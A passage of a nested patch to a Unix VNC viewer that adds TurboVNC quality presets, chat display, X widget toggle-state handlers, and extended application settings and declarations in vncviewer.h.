-+ fgets(str, 100, stdin);
-+ s = str;
-+ q = strstr(str, "\n");
-+ if (q) *q = '\0';
-+ }
-+ if (s[0] != '\0') {
-+ n = atoi(s);
-+ set_scbar(n);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetScaleN(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (*num_params != 0) {
-+ int n = atoi(params[0]);
-+ set_server_scale(n);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void UpdateQual(void) {
-+ SetFormatAndEncodings();
-+ UpdateSubsampButtons();
-+ UpdateQualSlider();
-+}
-+
-+extern double latency;
-+
-+static void LosslessRefresh(void) {
-+ String encodings = appData.encodingsString;
-+ int compressLevel = appData.compressLevel;
-+ int qual = appData.qualityLevel;
-+ Bool enableJPEG = appData.enableJPEG;
-+ appData.qualityLevel = -1;
-+ appData.enableJPEG = False;
-+ appData.encodingsString = "tight copyrect";
-+ appData.compressLevel = 1;
-+ SetFormatAndEncodings();
-+ SendFramebufferUpdateRequest(0, 0, si.framebufferWidth, si.framebufferHeight, False);
-+ if (latency > 0.0) {
-+ if (0) usleep((int) latency * 1000);
-+ }
-+ appData.qualityLevel = qual;
-+ appData.enableJPEG = enableJPEG;
-+ appData.encodingsString = encodings;
-+ appData.compressLevel = compressLevel;
-+ SetFormatAndEncodings();
-+}
-+
-+static void QualHigh(void) {
-+ appData.encodingsString = "tight copyrect";
-+ if(appData.useBGR233 || appDataNew.useBGR565) {
-+ fprintf(stderr, "WARNING: Cannot enable JPEG because BGR233/BGR565 is enabled.\n");
-+ } else {
-+ appData.enableJPEG = True;
-+ }
-+ appData.subsampLevel = TVNC_1X;
-+ appData.qualityLevel = 95;
-+ UpdateQual();
-+}
-+
-+static void QualMed(void) {
-+ appData.encodingsString = "tight copyrect";
-+ if(appData.useBGR233 || appDataNew.useBGR565) {
-+ fprintf(stderr, "WARNING: Cannot enable JPEG because BGR233/BGR565 is enabled.\n");
-+ } else {
-+ appData.enableJPEG = True;
-+ }
-+ appData.subsampLevel = TVNC_2X;
-+ appData.qualityLevel = 80;
-+ UpdateQual();
-+}
-+
-+static void QualLow(void) {
-+ appData.encodingsString = "tight copyrect";
-+ if(appData.useBGR233 || appDataNew.useBGR565) {
-+ fprintf(stderr, "WARNING: Cannot enable JPEG because BGR233/BGR565 is enabled.\n");
-+ } else {
-+ appData.enableJPEG = True;
-+ }
-+ appData.subsampLevel = TVNC_4X;
-+ appData.qualityLevel = 30;
-+ UpdateQual();
-+}
-+
-+static void QualLossless(void) {
-+ appData.encodingsString = "tight copyrect";
-+ appData.enableJPEG = False;
-+ appData.compressLevel = 0;
-+ UpdateQual();
-+}
-
-- return 0;
-+static void QualLosslessWAN(void) {
-+ appData.encodingsString = "tight copyrect";
-+ appData.enableJPEG = False;
-+ appData.compressLevel = 1;
-+ UpdateQual();
-+}
-+
-+void
-+SetTurboVNC(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (*num_params != 0) {
-+ int n = atoi(params[0]);
-+ if (0) fprintf(stderr, "SetTurboVNC: %d\n", n);
-+ if (n == 1) {
-+ QualHigh();
-+ } else if (n == 2) {
-+ QualMed();
-+ } else if (n == 3) {
-+ QualLow();
-+ } else if (n == 4) {
-+ QualLossless();
-+ } else if (n == 5) {
-+ QualLosslessWAN();
-+ } else if (n == 6) {
-+ appData.subsampLevel = TVNC_1X;
-+ UpdateQual();
-+ } else if (n == 7) {
-+ appData.subsampLevel = TVNC_2X;
-+ UpdateQual();
-+ } else if (n == 8) {
-+ appData.subsampLevel = TVNC_4X;
-+ UpdateQual();
-+ } else if (n == 9) {
-+ appData.subsampLevel = TVNC_GRAY;
-+ UpdateQual();
-+ } else if (n == 10) {
-+ LosslessRefresh();
-+ }
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetQuality(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (*num_params != 0) {
-+ int n = atoi(params[0]);
-+ set_server_quality(n);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetCompress(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (*num_params != 0) {
-+ int n = atoi(params[0]);
-+ set_server_compress(n);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+GotChatText(char *str, int len)
-+{
-+ static char *b = NULL;
-+ static int blen = -1;
-+ int i, k;
-+ if (appData.termChat) {
-+ printChat("\nChat: ", True);
-+ } else {
-+ printChat("Chat: ", True);
-+ }
-+
-+ if (len < 0) len = 0;
-+
-+ if (blen < len+1) {
-+ if (b) free(b);
-+ blen = 2 * (len + 10);
-+ b = (char *) malloc(blen);
-+ }
-+
-+ k = 0;
-+ for (i=0; i < len; i++) {
-+ if (str[i] != '\r') {
-+ b[k++] = str[i];
-+ }
-+ }
-+ b[k] = '\0';
-+ b[len] = '\0';
-+ printChat(b, True);
-+
-+ if (appData.termChat) {
-+ if (strstr(str, "\n")) {
-+ printChat("Send: ", True);
-+ } else {
-+ printChat("\nSend: ", True);
-+ }
-+ }
-+}
-+
-+void
-+SetViewOnlyState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.viewOnly) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetNOJPEGState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.enableJPEG) {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetQualityState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (*num_params != 0) {
-+ int n = atoi(params[0]);
-+ if (appData.qualityLevel == n) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetCompressState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (*num_params != 0) {
-+ int n = atoi(params[0]);
-+ if (appData.compressLevel == n) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetScaleNState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (*num_params != 0) {
-+ int n = atoi(params[0]);
-+ if (appData.serverScale == n || (appData.serverScale >= 6 && n >= 6)) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+Set8bppState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useBGR233) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ if (b16 != NULL) {
-+ XtVaSetValues(b16, XtNstate, False, NULL);
-+ }
-+ if (bfull != NULL) {
-+ XtVaSetValues(bfull, XtNstate, False, NULL);
-+ }
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+Set16bppState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useBGR565) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ if (b8 != NULL) {
-+ XtVaSetValues(b8, XtNstate, False, NULL);
-+ }
-+ if (bfull != NULL) {
-+ XtVaSetValues(bfull, XtNstate, False, NULL);
-+ }
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetFullColorState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useBGR565 || appData.useBGR233) {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ if (b8 != NULL) {
-+ XtVaSetValues(b8, XtNstate, False, NULL);
-+ }
-+ if (b16 != NULL) {
-+ XtVaSetValues(b16, XtNstate, False, NULL);
-+ }
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetXGrabState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.grabAll) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetEscapeKeysState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.escapeActive) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+Set256ColorsState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useBGR233 == 256) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ if (w64 != NULL) {
-+ XtVaSetValues(w64 , XtNstate, False, NULL);
-+ }
-+ if (w8 != NULL) {
-+ XtVaSetValues(w8 , XtNstate, False, NULL);
-+ }
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+Set64ColorsState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useBGR233 == 64) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ if (w256 != NULL) {
-+ XtVaSetValues(w256, XtNstate, False, NULL);
-+ }
-+ if (w8 != NULL) {
-+ XtVaSetValues(w8 , XtNstate, False, NULL);
-+ }
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+Set8ColorsState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useBGR233 == 8) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ if (w256 != NULL) {
-+ XtVaSetValues(w256, XtNstate, False, NULL);
-+ }
-+ if (w64 != NULL) {
-+ XtVaSetValues(w64 , XtNstate, False, NULL);
-+ }
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetGreyScaleState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useGreyScale) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+static void init_state(void) {
-+ static int first = 1;
-+ if (first && appData.encodingsString) {
-+ char *t, *z, *y, *h;
-+ char *str = appData.encodingsString;
-+ int len = strlen(str);
-+
-+ t = strstr(str, "tight");
-+ z = strstr(str, "zrle");
-+ y = strstr(str, "zywrle");
-+ h = strstr(str, "hextile");
-+
-+ if (!t) t = str + len;
-+ if (!z) z = str + len;
-+ if (!y) y = str + len;
-+ if (!h) h = str + len;
-+
-+ usingZRLE = False;
-+ usingZYWRLE = False;
-+ usingHextile = False;
-+
-+ if (t < z && t < y && t < h) {
-+ ;
-+ } else if (z < t && z < y && z < h) {
-+ usingZRLE = True;
-+ } else if (y < t && y < z && y < h) {
-+ usingZYWRLE = True;
-+ usingZRLE = True;
-+ } else if (h < t && h < z && h < y) {
-+ usingHextile = True;
-+ }
-+ }
-+ first = 0;
-+
-+}
-+
-+void
-+SetZRLEState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ init_state();
-+ if (usingZRLE) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetHextileState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ init_state();
-+ if (usingHextile) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetZYWRLEState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ init_state();
-+ if (usingZYWRLE) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetCursorShapeState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useRemoteCursor) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetCursorAlphaState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useCursorAlpha) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetX11CursorState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useX11Cursor) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetBellState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useBell) {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetRawLocalState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.useRawLocal) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetServerInputState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (!appData.serverInput) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetPipelineUpdates(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (!appData.pipelineUpdates) {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetSendClipboard(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (!appData.sendClipboard) {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetSendAlways(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (!appData.sendAlways) {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetSingleWindowState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.singleWindow) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetTextChatState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.chatActive) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
-+}
-+
-+void
-+SetFileXferState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
-+{
-+ if (appData.fileActive) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
- }
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/vncviewer.h vnc_unixsrc/vncviewer/vncviewer.h
---- vnc_unixsrc.orig/vncviewer/vncviewer.h 2004-03-11 13:14:40.000000000 -0500
-+++ vnc_unixsrc/vncviewer/vncviewer.h 2010-04-17 22:29:42.000000000 -0400
-@@ -28,6 +28,7 @@
- #include <string.h>
- #include <sys/time.h>
- #include <sys/types.h>
-+#include <sys/stat.h>
- #include <unistd.h>
- #include <pwd.h>
- #include <X11/IntrinsicP.h>
-@@ -51,7 +52,13 @@
- (((l) & 0x0000ff00) << 8) | \
- (((l) & 0x000000ff) << 24)) : (l))
-
--#define MAX_ENCODINGS 20
-+#define Swap32IfBE(l) \
-+ (*(char *)&endianTest ? (l) : ((((l) & 0xff000000) >> 24) | \
-+ (((l) & 0x00ff0000) >> 8) | \
-+ (((l) & 0x0000ff00) << 8) | \
-+ (((l) & 0x000000ff) << 24)) )
-+
-+#define MAX_ENCODINGS 24
-
- #define FLASH_PORT_OFFSET 5400
- #define LISTEN_PORT_OFFSET 5500
-@@ -64,60 +71,133 @@
- #define DEFAULT_VIA_CMD \
- (DEFAULT_SSH_CMD " -f -L %L:%H:%R %G sleep 20")
-
-+#define TVNC_SAMPOPT 4
-+enum {TVNC_1X=0, TVNC_4X, TVNC_2X, TVNC_GRAY};
-
--/* argsresources.c */
--
--typedef struct {
-- Bool shareDesktop;
-- Bool viewOnly;
-- Bool fullScreen;
-- Bool grabKeyboard;
-- Bool raiseOnBeep;
--
-- String encodingsString;
--
-- Bool useBGR233;
-- int nColours;
-- Bool useSharedColours;
-- Bool forceOwnCmap;
-- Bool forceTrueColour;
-- int requestedDepth;
--
-- Bool useShm;
--
-- int wmDecorationWidth;
-- int wmDecorationHeight;
--
-- char *userLogin;
--
-- char *passwordFile;
-- Bool passwordDialog;
--
-- int rawDelay;
-- int copyRectDelay;
-+#if 0
-+static const char *subsampLevel2str[TVNC_SAMPOPT] = {
-+ "1X", "4X", "2X", "Gray"
-+};
-+#endif
-+#ifdef TURBOVNC
-+#define rfbTightNoZlib 0x0A
-+#define rfbTurboVncVendor "TRBO"
-+#define rfbJpegQualityLevel1 0xFFFFFE01
-+#define rfbJpegQualityLevel100 0xFFFFFE64
-+#define rfbJpegSubsamp1X 0xFFFFFD00
-+#define rfbJpegSubsamp4X 0xFFFFFD01
-+#define rfbJpegSubsamp2X 0xFFFFFD02
-+#define rfbJpegSubsampGray 0xFFFFFD03
-+#endif
-+
-+/* for debugging width, height, etc */
-+#if 0
-+#define XtVaSetValues printf("%s:%d\n", __FILE__, __LINE__); XtVaSetValues
-+#endif
-
-- Bool debug;
-
-- int popupButtonCount;
-+/* argsresources.c */
-
-- int bumpScrollTime;
-- int bumpScrollPixels;
-+typedef struct {
-+ Bool shareDesktop;
-+ Bool viewOnly;
-+ Bool fullScreen;
-+ Bool grabKeyboard;
-+ Bool raiseOnBeep;
-+
-+ String encodingsString;
-+
-+ int useBGR233;
-+ int nColours;
-+ Bool useSharedColours;
-+ Bool forceOwnCmap;
-+ Bool forceTrueColour;
-+ int requestedDepth;
-+ Bool useBGR565;
-+ Bool useGreyScale;
-+
-+ Bool grabAll;
-+ Bool useXserverBackingStore;
-+ Bool overrideRedir;
-+ Bool popupFix;
-+
-+ Bool useShm;
-+ Bool termChat;
-+
-+ int wmDecorationWidth;
-+ int wmDecorationHeight;
-+
-+ char *userLogin;
-+ char *unixPW;
-+ char *msLogon;
-+ char *repeaterUltra;
-+ Bool ultraDSM;
-+ Bool acceptPopup;
-+ char *rfbVersion;
-+
-+ char *passwordFile;
-+ Bool passwordDialog;
-+ Bool notty;
-+
-+ int rawDelay;
-+ int copyRectDelay;
-+
-+ int yCrop;
-+ int sbWidth;
-+ Bool useCursorAlpha;
-+ Bool useRawLocal;
-+
-+ Bool debug;
-+
-+ int popupButtonCount;
-+ int popupButtonBreak;
-+
-+ int bumpScrollTime;
-+ int bumpScrollPixels;
-+
-+ int compressLevel;
-+ int qualityLevel;
-+ Bool enableJPEG;
-+ Bool useRemoteCursor;
-+ Bool useX11Cursor;
-+ Bool useBell;
-+ Bool autoPass;
-+
-+ Bool serverInput;
-+ Bool singleWindow;
-+ int serverScale;
-+ Bool chatActive;
-+ Bool chatOnly;
-+ Bool fileActive;
-+
-+ char *scale;
-+ char *escapeKeys;
-+ Bool appShare;
-+ Bool escapeActive;
-+ Bool pipelineUpdates;
-+
-+ Bool sendClipboard;
-+ Bool sendAlways;
-+ char *recvText;
-+
-+ /* only for turbovnc mode */
-+ String subsampString;
-+ int subsampLevel;
-+ Bool doubleBuffer;
-
-- int compressLevel;
-- int qualityLevel;
-- Bool enableJPEG;
-- Bool useRemoteCursor;
-- Bool useX11Cursor;
-- Bool autoPass;
-+ Bool noipv4;
-+ Bool noipv6;
-
- } AppData;
-
- extern AppData appData;
-+extern AppData appDataNew;
-
- extern char *fallback_resources[];
- extern char vncServerHost[];
- extern int vncServerPort;
- extern Bool listenSpecified;
-+extern pid_t listenParent;
- extern int listenPort, flashPort;
-
- extern XrmOptionDescRec cmdLineOptions[];
-@@ -130,10 +210,11 @@
- /* colour.c */
-
- extern unsigned long BGR233ToPixel[];
-+extern unsigned long BGR565ToPixel[];
-
- extern Colormap cmap;
- extern Visual *vis;
--extern unsigned int visdepth, visbpp;
-+extern unsigned int visdepth, visbpp, isLSB;
-
- extern void SetVisualAndCmap();
-
-@@ -155,15 +236,60 @@
- extern GC srcGC, dstGC;
- extern Dimension dpyWidth, dpyHeight;
-
-+extern int appshare_0_hint;
-+extern int appshare_x_hint;
-+extern int appshare_y_hint;
-+
- extern void DesktopInitBeforeRealization();
- extern void DesktopInitAfterRealization();
-+extern void Xcursors(int set);
- extern void SendRFBEvent(Widget w, XEvent *event, String *params,
- Cardinal *num_params);
- extern void CopyDataToScreen(char *buf, int x, int y, int width, int height);
-+extern void FillScreen(int x, int y, int width, int height, unsigned long fill);
- extern void SynchroniseScreen();
-
-+extern void ReDoDesktop();
-+extern void DesktopCursorOff();
-+extern void put_image(int x1, int y1, int x2, int y2, int width, int height, int solid);
-+extern void copy_rect(int x, int y, int width, int height, int src_x, int src_y);
-+
-+extern void releaseAllPressedModifiers(void);
-+extern void fs_grab(int check);
-+extern void fs_ungrab(int check);
-+
- /* dialogs.c */
-
-+extern int use_tty(void);
-+
-+extern void ScaleDialogDone(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern char *DoScaleDialog();
-+
-+extern void EscapeDialogDone(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern char *DoEscapeKeysDialog();
-+
-+extern void YCropDialogDone(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern char *DoYCropDialog();
-+
-+extern void ScbarDialogDone(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern char *DoScbarDialog();
-+
-+extern void ScaleNDialogDone(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern char *DoScaleNDialog();
-+
-+extern void QualityDialogDone(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern char *DoQualityDialog();
-+
-+extern void CompressDialogDone(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern char *DoCompressDialog();
-+
- extern void ServerDialogDone(Widget w, XEvent *event, String *params,
- Cardinal *num_params);
- extern char *DoServerDialog();
-@@ -171,6 +297,10 @@
- Cardinal *num_params);
- extern char *DoPasswordDialog();
-
-+extern void UserDialogDone(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern char *DoUserDialog();
-+
- /* fullscreen.c */
-
- extern void ToggleFullScreen(Widget w, XEvent *event, String *params,
-@@ -181,6 +311,13 @@
- extern void FullScreenOn();
- extern void FullScreenOff();
-
-+extern int net_wm_supported(void);
-+
-+extern void JumpLeft(Widget w, XEvent *event, String *params, Cardinal *num_params);
-+extern void JumpRight(Widget w, XEvent *event, String *params, Cardinal *num_params);
-+extern void JumpUp(Widget w, XEvent *event, String *params, Cardinal *num_params);
-+extern void JumpDown(Widget w, XEvent *event, String *params, Cardinal *num_params);
-+
- /* listen.c */
-
- extern void listenForIncomingConnections();
-@@ -196,6 +333,8 @@
- Cardinal *num_params);
- extern void Quit(Widget w, XEvent *event, String *params,
- Cardinal *num_params);
-+extern void HideChat(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
- extern void Cleanup();
-
- /* popup.c */
-@@ -207,6 +346,29 @@
- Cardinal *num_params);
- extern void CreatePopup();
-
-+extern void HideScaleN(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern void CreateScaleN();
-+
-+extern void HideTurboVNC(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern void CreateTurboVNC();
-+extern void UpdateSubsampButtons();
-+extern void UpdateQualSlider();
-+extern void UpdateQual();
-+
-+extern void HideQuality(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern void CreateQuality();
-+
-+extern void HideCompress(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+extern void CreateCompress();
-+
-+extern void Noop(Widget w, XEvent *event, String *params,
-+ Cardinal *num_params);
-+
-+extern int CreateMsg(char *msg, int wait);
- /* rfbproto.c */
-
- extern int rfbsock;
-@@ -229,8 +391,19 @@
- extern Bool SendClientCutText(char *str, int len);
- extern Bool HandleRFBServerMessage();
-
-+extern Bool SendServerInput(Bool enabled);
-+extern Bool SendSingleWindow(int x, int y);
-+extern Bool SendServerScale(int n);
-+
-+extern Bool SendTextChat(char *str);
-+extern Bool SendTextChatOpen(void);
-+extern Bool SendTextChatClose(void);
-+extern Bool SendTextChatFinish(void);
-+
- extern void PrintPixelFormat(rfbPixelFormat *format);
-
-+extern double dnow(void);
-+
- /* selection.c */
-
- extern void InitialiseSelection();
-@@ -241,8 +414,10 @@
-
- /* shm.c */
-
--extern XImage *CreateShmImage();
-+extern XImage *CreateShmImage(int do_ycrop);
- extern void ShmCleanup();
-+extern void ShmDetach();
-+extern Bool UsingShm();
-
- /* sockets.c */
-
-@@ -252,11 +427,19 @@
- extern Bool WriteExact(int sock, char *buf, int n);
- extern int FindFreeTcpPort(void);
- extern int ListenAtTcpPort(int port);
--extern int ConnectToTcpAddr(unsigned int host, int port);
-+extern int ListenAtTcpPort6(int port);
-+extern int dotted_ip(char *host, int partial);
-+extern int ConnectToTcpAddr(const char *hostname, int port);
-+extern int ConnectToUnixSocket(char *file);
- extern int AcceptTcpConnection(int listenSock);
-+extern int AcceptTcpConnection6(int listenSock);
- extern Bool SetNonBlocking(int sock);
-+extern Bool SetNoDelay(int sock);
-+extern Bool SocketPair(int fd[2]);
-
- extern int StringToIPAddr(const char *str, unsigned int *addr);
-+extern char *get_peer_ip(int sock);
-+extern char *ip2host(char *ip);
- extern Bool SameMachine(int sock);
-
- /* tunnel.c */
-@@ -271,3 +454,82 @@
- extern XtAppContext appContext;
- extern Display* dpy;
- extern Widget toplevel;
-+
-+extern void GotChatText(char *str, int len);
-+extern void unixpw(char *instr, int vencrypt_plain);
-+
-+extern void Toggle8bpp(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Toggle16bpp(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleFullColor(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Toggle256Colors(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Toggle64Colors(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void Toggle8Colors(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleGreyScale(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleTightZRLE(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleTightHextile(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleZRLEZYWRLE(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleViewOnly(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleJPEG(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleCursorShape(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleCursorAlpha(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleX11Cursor(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleBell(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleRawLocal(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleServerInput(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void TogglePipelineUpdates(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleSendClipboard(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleSendAlways(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleSingleWindow(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleXGrab(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void ToggleEscapeActive(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void SetEscapeKeys(Widget w, XEvent *ev, String *params, Cardinal *num_params);
-+extern void DoServerScale(Widget w, XEvent *ev, String *params, Cardinal *num_params);
